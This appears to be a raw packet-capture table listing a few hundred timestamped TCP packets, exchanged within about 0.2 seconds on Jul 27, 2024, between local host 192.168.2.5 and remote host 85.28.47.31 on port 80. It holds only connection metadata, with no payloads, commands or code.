Jul 27, 2024 12:01:16.570913076 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.570960999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.570980072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.571027040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.571046114 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.571089983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.571110010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.571156979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.571175098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.571221113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.571238995 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.571285009 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.571301937 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.571346045 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.571366072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.571410894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.571429968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.571474075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.571491957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.571536064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.571553946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.571599960 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.571616888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.571662903 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.571681976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.571729898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.573354959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.573406935 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.573432922 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.573478937 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.573497057 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.573544979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.573560953 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.573580027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.573596954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.573607922 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.573617935 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.573641062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.573647976 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.573668957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.573677063 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.573695898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.573705912 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.573724985 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.573734045 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.573760986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.657085896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.657152891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.657186031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.657210112 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.657236099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.657283068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.657335043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.657347918 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.657382965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.657409906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.657463074 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.657475948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.657514095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.657568932 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.657628059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.657742977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.657795906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.657809019 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.657846928 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.658324957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.658391953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.658447027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.658509970 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.658572912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.658632994 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.658698082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.658756018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.659220934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.659266949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.659287930 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.659322023 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.659353971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.659418106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.659502029 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.659554958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.659568071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.659607887 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.659663916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.659728050 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.659787893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.659847021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.659950018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.660005093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.660017967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.660057068 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.661381006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.661427021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.661448002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.661478996 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.661525011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.661580086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.661604881 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.661658049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.661670923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.661709070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.661731958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.661786079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.661798954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.661835909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.661859035 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.661912918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.661926031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.661958933 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.661984921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.662039042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.662051916 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.662090063 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.662118912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.662163973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.662184954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.662219048 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.662245035 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.662298918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.662311077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.662363052 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.662415981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.662461996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.662482023 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.662513018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.662542105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.662587881 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.662606001 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.662642956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.662667036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.662712097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.662730932 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.662767887 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.662791967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.662844896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.662858009 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.662893057 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.662914991 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.662969112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.662985086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.663022041 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.697160006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.697268963 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.697319031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.697360039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.697402000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.697468042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.697524071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.697539091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.697539091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.697566032 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.697582006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.697613955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.697669029 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.697681904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.697722912 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.697745085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.697798967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.697825909 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.697882891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.697896004 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.697935104 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.697956085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.698009968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.698023081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.698060036 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.698088884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.698143005 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.698156118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.698191881 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.698216915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.698266029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.698282003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.698332071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.698347092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.698400974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.698414087 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.698446989 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.698476076 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.698529005 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.698542118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.698575020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.698604107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.698648930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.698669910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.698705912 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.698729038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.698781967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.698815107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.698868036 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.698893070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.698939085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.698961020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.699003935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.699033976 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.699052095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.699085951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.699131966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.699177027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.699208021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.699235916 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.699261904 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.699309111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.699325085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.699378014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.699389935 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.699421883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.699450016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.699496031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.699513912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.699559927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.699577093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.699625015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.699640989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.699693918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.699707985 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.699740887 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.699769020 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.699816942 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.699831963 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.699879885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.699896097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.699945927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.699960947 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.700015068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.700027943 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.700064898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.700087070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.700139999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.700153112 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.700187922 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.700215101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.700268030 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.700280905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.700314999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.700340033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.700388908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.700407028 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.700452089 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.700472116 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.700527906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.700578928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.700632095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.700644970 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.700684071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.700705051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.700746059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.700763941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.700797081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.700825930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.700871944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.700890064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.700938940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.700954914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.701004982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.701020956 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.701073885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.701086998 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.701122999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.701152086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.701201916 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.750792980 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.750842094 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.750888109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.750952005 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.750979900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.751005888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.751046896 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.751065016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.751087904 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.751135111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.751188040 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.751200914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.751234055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.751537085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.751597881 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.751688004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.751740932 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.751754045 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.751787901 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.751832962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.751882076 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.751897097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.751943111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.751961946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.752017975 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.752043962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.752091885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.752110004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.752155066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.752171993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.752216101 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.752237082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.752281904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.752299070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.752342939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.752362967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.752418995 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.752444983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.752521992 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.752548933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.752595901 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.752613068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.752660036 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.752677917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.752722025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.752739906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.752785921 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.752803087 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.752847910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.752867937 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.752912998 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.752933025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.752991915 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.753016949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.753070116 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.753084898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.753133059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.753144979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.753176928 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.753226042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.753276110 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.753293037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.753346920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.753361940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.753391981 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.753439903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.753484964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.753504992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.753550053 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.753568888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.753608942 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.753631115 CEST	80	49704	85.28.47.31	192.168.2.5
